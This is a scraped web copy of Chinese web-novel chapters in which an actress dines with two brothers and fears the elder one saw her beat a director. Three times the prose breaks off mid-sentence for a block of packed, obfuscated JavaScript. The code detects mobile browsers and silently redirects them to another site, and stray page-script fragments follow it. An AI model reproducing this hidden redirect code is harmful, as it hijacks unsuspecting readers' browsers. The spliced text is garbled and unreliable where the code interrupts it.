时扬正乱七八糟地瞎想,手机响了起来,吓得她猛地一抖。 她颤颤巍巍地抓起手机,看见来电人的名字,眼睛一闭,长长舒了口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993120|193818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气。 “若若,晚上有时间没?出来玩不?我知道你也在影视城!” 商文洛的大嗓门穿过空气,咻一下飞进时扬耳朵里,她连忙将手机往外挪了挪。 听见“若若”两个字,刚买了菜进门的商文载晃了神,不知道想到些什么,垂着头愣了一阵子。 时扬有气无力,“也?你也在?你怎么知道我在这儿?” 商文洛吃了他哥买的药,又安安心心睡了一整晚,这会儿感冒已好了大半,中气十足。 “嘎嘣——”他咬了一口苹果,“秦小凡说的,她晚上收工了也上我这儿来。” 要搁在平时,三人好不容易能聚会,时扬肯定马不停蹄地去,但现在她大难临头,实在提不起精神,只能臊眉耷眼地“婉拒”:“no,thanks.我不去,我没时间。” “啧,小凡都说了,你这几天在等戏,给我打什么马虎眼呢?” “我真的有事情要忙,下次吧。” 听时扬的情绪确实不高,饶是商文洛这种厚脸皮也不好意思再勉强,“行吧行吧,那下次。” “嘎嘣——”他又咬了一口苹果,将话头一转,“不过,你听小凡说了没?杨威被人打了!蒙着脑袋打的,打得可厉害!” 话题又转回到杨威身上,时扬本就不高的兴致又落下三分,更加有气无力,“听过了,她一大中午就告诉我了,兴奋得跟打了鸡血一样。” “可不得打鸡血,杨威跟我住一个酒店,今天凌晨出的事,要那时候就知道了,我拖着感冒的身体,爬也要爬下楼去围观,看看到底是怎么个事——” “杨威跟你住一个酒店?”时扬声音忽然拔高,听得商文洛一怔。 “对啊,住一个酒店有什么奇怪的?”他有些莫名其妙于时扬的反应,随即又鼓起眼睛,“你怎么回事?我说我感冒了,你都不关心我?” 时扬只觉得“车到山前必有路”,正要睡觉呢,枕头递过来了,心里的担忧、焦急、犹豫、惶恐通通一扫而光! 她乐呵呵地敷衍:“关心!怎么会不关心?本来我是没有时间的,但既然你生病了,我肯定要过来看看你的。你是谁啊,你是我最最重要的人!” “这才对嘛。”商文洛直接接下“最重要的人”的称号,歪着头回道。 他远远地将苹果核一掷,扔偏了,苹果核砸到垃圾桶边缘,弹到地上滚了几圈儿,躺在地板上一动不动。 他歪在沙发上,无所谓地继续抖腿,余光不自然地看向他哥,这时候他哥正好也丢过来一个似笑非笑的“和善”目光。 商文洛尴尬地揉了揉鼻头,认命地站起来,在商文载的监督下,乖乖将苹果核捡进了垃圾桶里。 “一会儿早点过来,我哥也在这儿,他做饭可好吃了。”商文洛故意放大音量,好像要叫某人听清楚,满脸谄媚,“我哥不仅会做饭,他什么都会,他是全能!” 岛台后的商文载挑了挑眉,没眼看似地低头继续忙活。 “咔嚓——”陶瓷刀和菜板一声碰撞,胡萝卜应声断成两半。 - 晚上七点多,时扬按照商文洛的要求,提前半个小时出了门。 她故意让出租车司机饶了远路,在和杨威所在酒店完全相反的方向下了车。 又随便转进一条居民楼旁边的小巷子,将前一天穿去“犯罪现场”的牛仔外套和黑色长裤扔到垃圾桶里,然后故作镇定地重新招揽了个出租车去酒店赴约。 扔衣服的时候,时扬只觉得心都在滴血,她那件外套不便宜,自从买回来后还是第一次穿。 时扬在酒店外的小花园前下了车,把手插在衣服口袋里,若无其事地左看右看,趁着没人路过的功夫赶紧猫身去了小花坛里。 长椅所在的现场已经被收拾干净。 她不信邪似地,弯着腰,先找遍了地面的每个角落,又不死心地沿着花圃翻找,连花枝的缝隙也不放过。 突然,一道手电光斜地里从玫瑰花苗的缝隙里穿透过来,映照在时扬瞬间苍白的脸上,和吓到僵硬的身体上。 “是谁在那儿?你在里面干什么?站起来!” 7. 你哥其实喜欢男人 时扬刚站起来,晃着手电的保安就窜进了花园。 聚集的光束不客气地照在时扬脸上,刺眼得她微微合上双眼,抬手遮挡。 “您好,我抄小路去前面那个酒店,正在这儿系鞋带呢。”声音比平时尖细,故意夹了夹。 保安有点不信,手里的手电筒随即往时扬的脚上探照,看她板鞋的鞋带真是松开的,才彻底放下心来。 刺眼的灯光没了,时扬放下眼前的双手,抬起一只脚踏在花圃外围的瓷砖上,很快系好了鞋带。 保安听她声音有些颤颤巍巍,像是被吓到了,又见来人眉清目秀,就算被人用手电晃了眼睛也没跟他生气,仍然乖巧甜美、好脾气地笑着,挠了挠头,反倒有些不好意思。 自从今天凌晨来了警察,酒店就让他们保安队加大巡逻,提高警惕,所以他前所未有地认真起来,倒有些草木皆兵了。 这姑娘跟他妹妹差不多的年纪,笑呵呵的,看着也面善,能有什么坏心? 就这样,时扬在保安连连的道歉声中,被他一路陪着进了酒店。 等到进了电梯,时扬才抚着胸口,长长舒了口气:好险逃过一劫。 提心吊胆了大半天,虽然危机并没有化解,但也没有进一步恶化不是? 时扬索性不去想了,双手插在外套的兜里,十分放松地往后倚在电梯的横档上。 一口浊气从她胸腔里提起,穿过喉咙,正要吐出来——在电梯门打开,见到来人的时候,就这样不上不下地堵在了她的嘴里。 门一打开,男人高大的身影、宽阔的肩膀像一堵厚实的墙,将走廊里的光堵住一大半。 他双手插兜,好像正在和身旁的人说些什么,电梯门打开的瞬间,他正转过头看向电梯里面。 居高临下,气势逼人,不自觉地逼得时扬抬头看向他。 男人穿了件裁剪极佳的黑色高领,看着低调却价格不菲,领口堪堪落在喉结下方。 时扬一抬头就看到了他性感的喉结,气质极佳,哪怕挡住头也知道那男人肯定不差。 要在平时,时扬肯定秉承着她的“搭便车”理论,即“不看白不看,看了你也拿我没辙”的理念,暗暗从上到下、短时间但多次地打量,等回到家再跟她那同样色令智昏的室友兰一一分享。 可今天时扬实在没什么分享的心思和精力。 这时,她感到男人好像也在看她,她不想落了下风,显得自己不敢看似的,直直将目光迎了上去。 这一迎就不得了。 那双眼睛,波澜不惊,又好像能洞悉一切,跟凌晨那男人的眼睛十分相似,让时扬有种似曾相识的熟悉感。 她咽了咽,生生将嘴里的那口不上不下的浊气咽了回去,心脏不由自主地狂跳,歪着的身体也好像受到审视一般,噌的一下站直了。 她本来半信半疑,连猜带蒙,觉得这男人有百分之六十的概率和凌晨那人是同一个。 直到——直到站在男人旁边的商文洛探了个脑袋出来。 他大喇喇地叫了一声:“哥,你买了药赶紧回来啊,别又跟今天凌晨一样,我朋友——” 今天凌晨…… 时扬站在封闭的电梯里,像被关进了监狱。 心如死灰。 话音未落,商文洛看到电梯里老老实实站着、故作镇定的时扬,他嘿嘿一笑,一把抓住时扬的胳膊将她带出来。 “真不错,早到了十几分钟。出来!” 时扬不太确信的那百分之四十,在听到商文洛的话后已经全部信了,信得有苦难言,信得她恨不得跟昨晚一样,将身一扭,百米冲刺。 在两人看不到的地方,时扬低了低头,脸皱得和苦瓜一样。 她好苦的命,愣是过得比黄连还苦。 商文洛十分热情的介绍后,商文载冲着脸色如同调色盘的时扬点了点头,浅浅一笑,“你好。” 时扬伸在背后、绞紧的手指突然放开,她大胆地再次迎上商文载的目光,想要从他脸上看出点端倪来,看清楚他到底有没有认出自己,却只看到了温润如春风拂过的微笑。 他的表情里并没有其他,只有第一次看见一个陌生人时才有的客气,还有不自觉流露出的极好的涵养。 一个大胆的想法浮上时扬心头:或许……那时候四周太黑,这人并没有看清楚她的脸呢…… 想到这里,时扬所有的防备和苦楚都卸下,她心头一阵狂喜,仍然留了点警惕,故意夹了夹嗓子,想装乖彻底混过去。 “你好呀,文载哥。”红唇轻启,盈盈一笑。 旁边的商文洛瞳孔地震,觉得手臂上爬满了鸡皮疙瘩,他僵着脖子,慢悠悠扭头看着做作的时扬,“干嘛?你口红中毒了?” - 商文载出门买药的时候,时扬和商文洛进了屋子。 “我哥睡眠不好,去买安眠药了,一会儿就回来。你先坐,随便坐。” 这是一个十分豪华的套房,一个开放式厨房、客厅、两个卧室,衣帽间……什么都有。 时扬那间小房间虽有些简陋,但也不算太差,但这一比就只剩下了云泥之别。 “小皇帝,你微服私访来了?”时扬啧啧称叹。 她这次拍戏时间不长,本身片酬也不高,挣的那点钱估计还不够付这房间的。 “嗐,都是我哥出的钱,我自己挣那仨瓜俩枣的,都不够cover我日常开销的!” “小皇帝”跌进沙发里,双腿抖擞,递给时扬一杯果汁,对自己的“啃哥”行为没有半点不好意思,脸上全是“我可太有能耐了”的得意。 商文洛撑着脑袋,嘿嘿又得意一笑,“说来我还得感谢我妈,我妈是个大好人,给我生了个哥,不然按我爸的德行,他才不管我呢!” 时扬一个小时内被吓两回,吓得手感舌燥,接过果汁,咕咚咕咚三两口下了肚,几秒钟杯子就见了底。 正要吞下,听见商文洛的“给我生了个哥”理论,笑得差点喷出来,只能捂住嘴剧烈地咳嗽。 “喝慢点,好像有人要抢你的一样!秦小凡又不来!” 时扬望着他,问道:“小凡不来了?” “嗯呐,她说她助理好像出了点事,挺严重的,她不放心,得跟着去一趟。” 时扬眼睛瞪大,“她什么时候有助理了?” 商文洛放下撑着脑袋的手,一下来了精神。 “是吧是吧,我刚才听到的时候也吓一大跳!还不是剧组配的助理哦,是公司配的! “小凡性子要强,心里一直憋着口气,熬了这么些年,可算快熬出来了!依我看,她以后未必不能拿个奖,成为什么影帝影后的!” 见时扬低头坐着,不吭声了,商文洛忽然想起她那个影帝前男友,自知说错了话,恨不得打自己一个大嘴巴。 说秦小凡呢,扯她前男友云帆干什么! 商文洛尴尬得摸了摸胳膊,没话找话,“反正她今晚来不了了,我就只有你了……” “要不、要不我也走吧。”时扬有点犹豫地起身,她真想走了。 她没有秦小凡能胡侃,商文洛哥哥也是沉稳的类型,要秦小凡在准能天南海北地闲聊,宾主尽欢。 她在这儿,说不定就冷场了…… “不行!”商文洛起身,一把把她按回沙发里,“你中午跟我说的什么?我难道不是你最重要的人吗?” 时扬砸吧下嘴,还很犹豫,心虚地说:“是、是最重要的人,但是你哥……” “你怕他啊?”商文洛挑眉一笑。 时扬木讷地摇摇头,声音颤抖:“不、不、不怕。” “声音都抖了还不怕,怂得很!”商文洛翻了翻白眼,继续强留,“你不用管我哥,他话少,跟他无关的事情不掺和,你就当他不存——” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993121|193818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟他无关的事情,都不掺和?”时扬抓出个关键句子来。 商文洛点点头,接着道:“对啊,我哥看着温和吧,其实特别冷漠!跟他无关的人,死他面前都不带看一眼的!” 时扬心里高兴,一时没接话,商文洛为挽回他哥的形象,继续说道:“其实我哥以前不是这样的,他10岁的时候得了个怪病,等醒过来就性格大变,怪异得很!” “怪病?什么病?” “说不上来,我奶奶说当时去医院也查不出来,最后还是她想了别的办法才治好了。” “哦?什么办法?” 商文洛向时扬挥挥手,示意她凑近点,时扬歪着身体凑过去,洗耳恭听的样子。 商文洛附在时扬耳边,小声道:“这个是我家的最高机密,我不能告诉你。” “滚!” “啧,真的!我哥的那些事不能出去乱说的,我爷爷奶奶、爸爸妈妈看他看得跟眼珠子一样,跟我完全不同——” “你呢,那他们不管你吗?” “管啊,但我哥在上头顶着,他们哪有功夫管我?”商文洛瘫坐在沙发上,摇头晃脑,“你知道我的,这几年女朋友没断过,档期一直满的——” “是,要是拍戏的档期也满满的,那就好了!” “哎哎,你要这样讲话的话,就很伤人了啊!” 时扬捂着嘴憋笑,摇摇头,“好,我不打断你了。” “哼!” 商文洛嘴巴微张,正要继续,又怕他哥回来了,鬼鬼祟祟地往门口一看,确认还没回来,开始讲他哥的八卦。 “我哥长得丑吗你觉得?” 时扬猛地摇摇头,“肯定不丑啊,个人觉得比你——” “帅多了”三个字在商文洛快要杀人的眼眸中讪讪地吞了回去。 商文洛又被时扬打断,狠狠瞪她一眼。 “但他三十多岁了,一次恋爱没谈过!别说谈恋爱了,连女生的手都没碰过!”商文洛越说越激动。 “哎哟,给他们四个急得呀!可急也急不来,谁是皇帝,谁是太监,一目了然! “四个‘太监’挑来选去,这个那个,方的圆的,都觉得不合适。我哥倒好,谁都不找,落个清净! “他们四个眼光高,可依我看啊,眼光最高的是我哥,也不知道他到底想找什么样的?” 此时,远在江城一别墅内的“太监”之一——商爷爷猛地打了个喷嚏。 听到他震天响的“阿嚏”,商奶奶握着锅铲,噔噔几步小跑到客厅,恨铁不成钢地指着人骂。 “死老头子,犟得跟牛一样!退休了干点什么不好,你非要去搞春耕,蔬菜都分不清楚的人,你学人家种地?现在可好,感冒了——” 商爷爷腾一下站起身,当场反驳:“我只是打了个喷嚏,没感——” “你再回一句试试?”商奶奶音量更大,吓得商爷爷又坐回去。 他只敢小声咕哝:“没感冒就是没感冒嘛……” - 时扬八卦心也起了,追问他:“那你觉得,什么样的人能配上你哥哥?” “嗯,有点想象不出来……”商文洛摸了摸下巴,作思考状,“应该是一米七以上的个子,御姐脸,气质型,学识渊博,事业有成……” “你不是想出来挺多的吗?”时扬揶揄他。 商文洛扭头看她,随口道:“我信口胡诌的——哎,你别说,这几条跟你完全不一样。” 时扬:“……” 不过就八卦一下别人,自己还遭了嫌弃,时扬心里不痛快,灵机一动,想到个反击之法。 她幽幽留下一句:“你有没有想过,你哥哥其实喜欢的是男人……” 然后噙着个胜利者的微笑,噘着嘴,扭着腰,往卫生间的方向走,留下商文洛在身后目眦欲裂,如遭雷击。 “不、不、不能够吧……” 8. 真的不是我! 商文载原本按照他弟弟的话,准备了四个人的饭菜,这会儿秦小凡不来,就绰绰有余了。 酒店的房间虽然有厨房,但到底不是家里,条件有限,也不好发挥。 要不是商文洛小病初愈,又见天地嚷嚷着要吃他做的饭,商文载才懒得搭理他。 商文载跟他弟弟不一样,不是个麻雀一样叽叽喳喳的人,一顿饭下来,果然如同商文洛所言,大多数时候都保持沉默。 时扬心里揣着事儿,想开口打听,又害怕打草惊蛇,惹得对面怀疑,就迟迟没开口。 商文洛被时扬一句话击得有点心不在焉,觉得嘴里的饭菜也没平时香,但他怕他哥看出来,也看不得冷场,就见缝插针地没话找话。 “这个杨导啊,要我看,根本不是什么流浪汉给他揍了!这次准是又招惹了谁,被打得鼻青脸肿,算是碰上个硬茬儿。”商文洛嚼着饭,说的话七零八碎。 他低下头,从碗沿又扒了口饭,扭头看坐在身边的时扬,“你知道吗,他最近跟谁不和——” “把碗端起来。”对面的商文载冷声一句。 商文洛一边端起饭碗,一边不情愿地嘟哝:“哦。” 时扬猛地坐直了身子,十分僵硬,眼皮狂跳,又吸了吸鼻子,“……不、不知道,没听说。” “你也感冒了?” “没,没有。” 餐桌对面的商文载看时扬无比紧张的模样,突然起了逗弄的心思,冷不丁插了句话:“好像是个女人。” “啊?”商文洛握着筷子不动,瞪大眼睛看向商文载。 时扬肩膀一抖,手里的筷子忽然掉在大理石桌面上,发出“啪嗒”一声。 她慌忙将控制不住发抖的双手握到一起,自以为无事发生地藏在饭碗后面,学了商文洛的模样,同样一脸震惊地看着对面的人。 “昨晚我给你买药回来的时候看到了。”商文载不慌不忙嚼完了嘴里的饭,才幽幽说道。 商文洛这会儿完全忘记了“喜欢男人”这种屁话,嘿嘿一笑,饶有兴致地问:“不是说是流浪汉打的吗?合着是个女人啊?那哥你看清楚了吗,那人是谁?” 沉默,漫长的沉默,像故意要捉弄谁,又像故意往人心尖尖上挠。 时扬的十指绞得死紧,随着商文载的沉默绞得越来越紧。 后者实在太有涵养,虽然面对着四只好奇的眼睛,仍然慢慢咀嚼,非得吞完了嘴里最后一口饭才开口。 “没有。天太黑了,离路灯又太远,只看到个身形,其他的……没看清楚。” 时扬的十指猛地放开,重新又拿起筷子,不自在地眨了眨眼,夹起一片春笋放进嘴里。 刚才提心吊胆,根本没心思吃饭,就算是珍馐美味,进了她嘴里也品尝不出个味道来。 这会儿得了个肯定的答案,也不知道是心理作祟,还是商文载做饭的手艺着实了得,她竟然觉得比她过去二十七年来吃过的所有饭菜都美味。 “她穿了个深色的外套,好像是件深蓝色的牛仔外套。” 怎么回事,嘴里的笋一下子变得又苦又涩! 时扬的心又提到了嗓子眼,但她转而想到来这里之前就已经销毁了所谓的“证据”,又无所谓地继续吃饭。 商文洛手里的筷子一直没动,两只大眼睛无比期待地盯着他哥,“还有呢?” “瘦瘦高高的一个人,大概……”商文载放下筷子,往他的喉结处比划了一下,“一米七左右,也可能矮一点儿,大概到我这里吧。” 时扬装作没看到,低头保持沉默,只是咀嚼的动作越来越狠,春笋在她嘴里发出清脆的“嘎嘣”一声,那声音霸道极了,好像能一路传到她天灵盖。 “说来巧极了,和你的身形倒是有些像。” 本来跟商文洛在说话,不知道为什么,商文载突然又把话头递给时扬,惊得后者差点一口噎到。 时扬猛然抬起头,不知道要说给对面的人听,还是要说给自己听,“不是我!真的不是我!我昨晚很早就睡了!” “啧啧啧,你慌什么?”商文洛轻蔑一笑,“能是你吗?你有这胆量?” 商文载垂下眼眸,浅浅一笑,不再言语,只听着商文洛和时扬有一搭没一搭地闲聊。 “不过你知道吗,杨威走了。” “……啊?”这次时扬真不清楚了。 “说他生性多疑,最近又风头太盛,觉得是哪个看不惯他的报复他,所以害怕了,草草收工回家了。” 时扬想到了白晓花的叮嘱,如临大敌,舔了舔嘴角,“那他马上要开的那部戏……” “当然是推迟了呀,拖着拖着,以后不开了也说不定。” 得,白晓花的求神拜佛算是白拜了,工作机会也跟时扬说拜拜了。 时扬说不上来是个什么感觉,她虽然得过且过,但到了嘴边的鸭子,被她冲动的咣咣咣几板子打飞了,还是有种前功尽弃的失落感,况且那个角色跟她的调性挺搭,不然白晓花也不会舍了老脸求到杨威那里。 但她突然又感到胸口一紧,那晚杨威借着醉意将她猛然扯到胸前的恶心感又上来了。 庆幸的情绪占了上风,她一下就不失落了。 工作机会而已,丢了就丢了,保护好自己才是要紧。 心情好了,连胃口也跟着变好。 现下她心里没了太多负担,白天又没怎么吃饭,一时就感到排山倒海的饿意。 时扬在埋头使劲扒饭的空当,不经意地扭头看了看身边坐着的商文洛,又对比着,看向对面的商文载。 一个跳脱,一个沉默;一个坐没坐相、吃没吃相,一个不紧不慢,细嚼慢咽。 要不是眉眼之间有几分相似,把这气质完全不同的两人放到一起,任谁也不会觉得他俩是一对兄弟。 做演员的哪有模样差的,可依照时扬的审美来看,商文洛他哥比他长得更好。 商文载的眼睛长得更好,介于丹凤眼和桃花眼之间,眼尾上扬,颇有几分古韵,浅笑的时候,透过橘黄色的灯光,隐隐约约还能看出两个酒窝。 要是只凭借着这两个酒窝,不知道的人还以为他性格随和,十分好接近,可等到走近了,才能隐隐感到他身上散发着一种推拒的疏离感。 他身上的疏离,大有一种不愿融入这世界、而是迟早有一天会离开的决然。 也难怪他弟弟会说,就算有人死他脚边,他都懒得看一眼。 想到这儿,时扬不由得又暗暗腹诽:不是人死了都懒得看嘛,我打个臭流氓,你杵那儿瞎看什么热闹…… 时扬一面想着,一面盛了一勺胡萝卜番茄炖牛腩,番茄炖得烂了,化成浓浓的酱汁包裹在牛肉和胡萝卜上。 她不爱吃胡萝卜,觉得它味道奇怪,甜得诡异,夹起一块正要放进旁边的碟子里,这时,很久都没说话的商文载出了声,语气相当严厉。 “不许挑食!” 时扬手一抖,手里的筷子就这样突兀地放在半空中,放下也不是,拿起也不是。 她瞥了一眼对面,正要找补几句,却看到商文载并没看向她,而是神情严肃,目光灼灼地盯着她身边的商文洛。 后者同样夹着一块胡萝卜,右手停在半空中,跟她一样要往旁边的碟子里扔。 原来不是说的她…… 商文洛不服气地噘了噘嘴,用他以为只有自己能听到的声音,小声嘀咕:“不挑食就不挑食,凶什么凶……” “嗯?你说什么?”商文载已经恢复了平时的语气,不咸不淡。 商文洛谄媚一笑,“没说什么,我说胡萝卜真好吃。” 时扬手里的筷子还是伸进了嘴里,胡萝卜诡异的甜味在她嘴里绽开,她没敢多嚼,三两下下了肚。 一顿饭虽然吃得她心惊肉跳,但好在有惊无险。 可刚暂时歇了口气的心脏,到出门的一瞬间又开始狂跳起来。 扑通,扑通…… 时扬看到了她遗失在小花园里的手链…… 房门口挂着的深灰色外套里,拇指长度的一小截红色编织绳从口袋里显露出来,在时扬被商文洛搭着肩膀送出门的一瞬间将她击得外焦里焦。 视线穿过他的肩膀,她看到商文载正站在客厅落地窗的正前面,面朝外面的高楼大厦,握着手机跟人打电话。 时扬的心思又活络起来。 “小凡这回的戏要拍到什么时候,她告诉你了吗?”时扬在门口停住脚步,摸了摸鼻梁,跟商文洛刻意找话说。 “大概下个月去了,她比我还晚拍完呢。你也知道,小凡跟以前不一样了,升咖了……” 秦小凡那个女人身上有一股劲,说难听点,有一股“小强”的劲头。 小强杀不死,她也杀不死,什么别人瞧不上的角色她都敢演。 一通折腾下来,兴许是运气也到了,这两年倒真让她折腾出来了。 商文洛抱着双臂,努了努嘴,发出今晚不知道第几次的感慨。 时扬没立即搭话,她满心满眼都是自己的手链。 怎么会让他捡走了呢……不过也说不好是祸是福,要是他没捡走,现在估计就让警察捡走了…… “你这次要在这边待上几天?”商文洛反问。 “本来小花姐安排好了,估计要待上两个月吧,但现在情况不是变了吗,差不多二十多天后就得回去了。” 两人都知道所谓的情况变了,到底变的是什么,计划赶不上变化,谁知道杨威直接走了。 时扬故作遗憾地叹了口气。 商文洛看她和往常不一样,眉眼之间凝着一股浓浓的忧愁,他性子跳脱、话多但一大半都是屁话,虽不知道要怎么安慰,但胜在有勇气,不过脑的话可以张嘴就来。 “嗐,你也别担心,人的运势都有起伏,一高一低,杨威上一部戏拍得好,不代表他每部戏都能拍好。这一部谁说得准?估计就烂了。” 几句话说得时扬心头真还有点暖意,但——永远别指望狗嘴里能吐出象牙。 商文洛接着说道:“你想想,是不是这道理?兴许你还无意间保护了自己的羽毛呢,虽然你名声不好,也没什么羽毛。” “……我谢谢你的安慰。”时扬横着眼瞪他,一只手暗暗伸向背后的深灰色外套。 模上去是一种轻柔滑腻的手感,因为离得近了,还依稀能闻到一缕缕古龙水的香味,再仔细闻了,又不太像。 时扬这会儿没心思研究这味道到底是什么,只恨她手上怎么没长出一对眼睛,搞得她摸了半天也没摸到口袋在哪里。 明明刚才看到是在这个位置啊…… “不好意思,突然有个电话。”这时,落地窗前的商文载挂了电话,转过身远远地看过来,跟时扬点头致歉。 时扬伸到背后的手猛地一抖,旋即触电一般地收回来,若无其事地插进衣兜里。 “没、没事,文载哥。” 商文载一边走到门口,一边嘱咐商文洛:“时间不早了,你送……若若,送她回去。” “若若”两个字总让他下意识想到娘子,所以他喊得有些犹豫, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993122|193818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但商文洛自己是个自来熟,逼得他这个哥哥也要当自来熟。 才吃饭的时候,商文载看商文洛自己过来了,饿死鬼一样,连自己朋友也不管,就温声招呼时扬:“时小姐,你——” “哥你也叫她若若,叫什么时小姐,怪生疏的。”商文洛终于意识到时扬还没过来,猴子一样窜回客厅,一把把时扬拽在身后。 时扬有点腼腆,附和道:“嗯,文载哥,你叫我若若就行。” 既然当事人也同意,他自然没什么意见。 “嗯好,若若,过来吃饭吧。” 商文洛双手插在两边的裤兜里,漫不经心地转头,对时扬说:“行,那我把你送到楼下打车。” “不,你跟她一起走,送她回酒店。”商文载的语气不容拒绝。 时扬连连摆手,“不用了,我自己回去就行,你们忙你们的,我不用——” 商文载直接忽视,不咸不淡道:“女孩子胆子小,半夜一个人在外面……不安全。” 不知道是不是错觉,时扬总觉得“胆子小”三个字是在暗戳戳点她,但商文载面色如常,语气认真,还带着关心,没有半点揶揄色彩,反倒让她觉得自己小人之心,度他的君子之腹了。 “知道了,知道了,唠叨死了。” 商文洛嘴上抱怨,还是任劳任怨地送时扬回了酒店。 走之前,时扬和商文洛站在门边,她最后看了一眼近在眼前却不能得手的手链,脸埋在阴影当中,相当难看,不知道是气的,还是无语的。 商文载在落地窗前,似笑非笑地凝望着要出发的两人,看时扬将伸出去的手握成一个拳头和她抽搐的嘴角,终于忍不住偷笑出来。 等到两人出了门,他慢悠悠踱步到门边,从深灰色外套里取出红色编织绳。 一条红色绳子,上面有一个样式繁复的结。样子普通,随处可见,是他买安眠药回来时在路边的小店里随手买的。 送完时扬回去后,商文洛一进门就看到他哥还在落地窗前站着。 “哥,你还没睡啊。”商文洛语气肯定,他知道商文载睡眠问题严重,看了一眼茶几上拆开的药盒,小声劝道,“哥你要不换个医生看看?老吃安眠药,别回头吃坏了脑子。” “……吃坏了也好,才更显得像亲兄弟。” “什么叫显得像,我们两个本来就是亲兄弟——不对,你骂我脑子不好!” 商文载噗嗤一声笑出来,坐到沙发上,跟商文洛招手,“你坐过来,我有话问你。” 商文洛满脸不忿,一屁股瘫倒在沙发上,刚被骂脑子不好,所以语气也冲:“干嘛?” “今天这个——若若,是你新女朋友?” 商文洛弹簧一样跳起来,言语激动:“当然不是!我俩怎么可能!我跟她谈恋爱,呕——跟□□有多大差别?再不许问这种话了,恶心死了!” “好,不是就算了。”商文载哑然失笑,话锋一转,“她叫时扬,你为什么称呼她‘若若’?” “你说这个啊,”商文洛这根弹簧又重新压回沙发里,姿态放松,“几年前我们拍过同一部戏,戏里她名字带个‘若’字,我为了套近乎就喊若若,喊习惯了就一直喊了。” 说完,他怕商文载又瞎想,补充一句:“不只我一个人这么喊的啊,秦小凡也这么喊!” “你们三个……关系挺好?” “好呀,我们仨算半个同乡。秦小凡小时候在江城,后来搬去的上海;我虽然从小待在北京,但爷爷奶奶在江城;至于若若——她土生土长的江城人,现在还住那里。” 江城……果然…… 商文载一对眼睛隐在镜片后,看不清他此刻在想些什么,但几秒钟内,商文洛的脑子疯狂转动。 不提江城还好,一提起这个在网上以男风出名的城市,他又蓦地想起时扬的那句话。 你有没有想过,你哥哥其实喜欢的是男人…… 他倒在沙发上,眯着眼睛,在暖黄的灯光下看他哥,心里直打突突。 商文载从小就跟他不一样,爱干净到甚至有点洁癖,穿着讲究,衣服、裤装、领带、腕表……甚至连头发丝都打理得精细。 从他坐的位置,还能闻到商文载身上淡淡的香水味,他偏过头往自己领子里嗅,只能闻到沐浴露的味道…… 糟了!香水!如果网上的判断方法是真的,那他哥不就是…… 商文洛张大嘴巴,像是打算吸走客厅里的灯光,满面惊恐地偷看商文载,心中百转千回。 他瞪大的铜铃眼睛太过渗人,让商文载不得不注意。 “你在想什么?”语调平缓轻柔,像催眠曲。 商文洛真如同被催眠了似的,讷讷道:“我在想,哥,你是不是喜欢男人……” 那个晚上,折磨了商文洛的只有两句话。 时扬一句,商文载一句。 “既然你都工作了,从下个月起,我就把你的卡停了。” 说完,商文载握着兜里手链上的牛角,面无表情地回了卧室。 深夜时分,商文洛趴在商文载的房门外,手掌一下下地拍打房门,喊得声嘶力竭、刻骨铭心。 “哥,我错了!我再也不怀疑你的性取向了!我只是个口不择言的小男孩,你原谅我吧,啊——” 亲弟弟在外面喊着,嗓音险些刺穿房门,商文载完全有能力将其屏蔽。 他站在主卧的圆弧形落地窗前,举着时扬的手链,凭借窗外的灯红酒绿仔仔细细端详…… 原来,她也是江城人…… 9. 不是一路人 时扬收拾一阵,洗了个澡,已经是晚上十点多。 到了眼前的红绳都没拿到,她心心念念,又无可奈何,急于拿回,又害怕露馅,没有半点办法。 当晚她又开始一阵阵地做梦。 她又梦到了妈妈,梦里对方的样子有些模糊,她有点分不清她到底是这一世的妈妈,还是下一世的。 但她凭对方对自己的称呼分清楚了。 因为这一世的妈妈会笑盈盈地喊她“宝宝”,而下一世的那个妈妈大多数时候都在对她破口大骂,撕心裂肺地喊她“时扬”,语气带着无尽的恨意,恨不得她能赶紧消失在那个世界上。 江风华,那个最恨她的人。 最后,时扬体贴她,并如她所愿,她真的消失了,在公元2050年,她二十四岁的时候。 梦里,那个周五的晚上,她刚从学校实验室里回家。 她爸爸时庭照旧跟平时一样的,永远不着家。同样不回家的,还有那个被父亲影响,只有管父母要钱才会现身一次的弟弟。 一进门,江风华孤身一人,握着一瓶伏特加。酒瓶里的酒精还剩下一半,跟着她剧烈的喘息声和哭喊声在瓶子里没什么节奏地晃荡。 时扬和她的目光一对上,就感到一阵寒凉,其中或许是恨意,或许是后悔……种种情绪,时扬通过她妈妈浑浊的目光看不太清楚。 时扬心思细腻,照理来讲,她应该很能洞悉这些交织在一起的情绪的,不管它们有多复杂,但不知道是她刻意屏蔽了,还是不愿意接受,她就这样模模糊糊地过着,不去计较。 